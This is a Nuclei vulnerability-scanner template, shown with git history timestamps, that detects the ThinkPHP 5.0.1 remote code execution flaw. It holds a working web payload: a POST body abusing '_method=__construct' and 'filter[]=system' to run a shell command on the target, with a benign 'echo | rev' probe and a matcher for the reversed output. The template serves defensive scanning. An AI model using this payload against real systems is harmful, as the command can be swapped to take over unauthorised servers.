nuclei-templates/http/vulnerabilities/thinkphp/thinkphp-501-rce.yaml

36 lines
875 B
YAML
Raw Normal View History

2021-10-26 18:47:42 +00:00
id: thinkphp-501-rce
info:
name: ThinkPHP 5.0.1 - Remote Code Execution
2021-10-26 18:47:42 +00:00
author: lark-lab
severity: critical
description: ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter.
2022-11-02 13:17:41 +00:00
reference:
- https://www.exploit-db.com/exploits/46150
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: edb,thinkphp,rce
metadata:
max-request: 1
2021-10-26 18:47:42 +00:00
http:
2021-10-26 18:47:42 +00:00
- method: POST
path:
- "{{BaseURL}}/?s=index/index/index"
2022-11-02 13:17:41 +00:00
body: "s=echo%20thinkphp%20%7C%20rev&_method=__construct&method&filter[]=system"
2021-10-26 18:47:42 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
2022-11-02 13:17:41 +00:00
part: body
2021-10-26 18:47:42 +00:00
words:
2022-11-02 13:17:41 +00:00
- "phpkniht"
2021-10-26 18:47:42 +00:00
- type: status
status:
- 200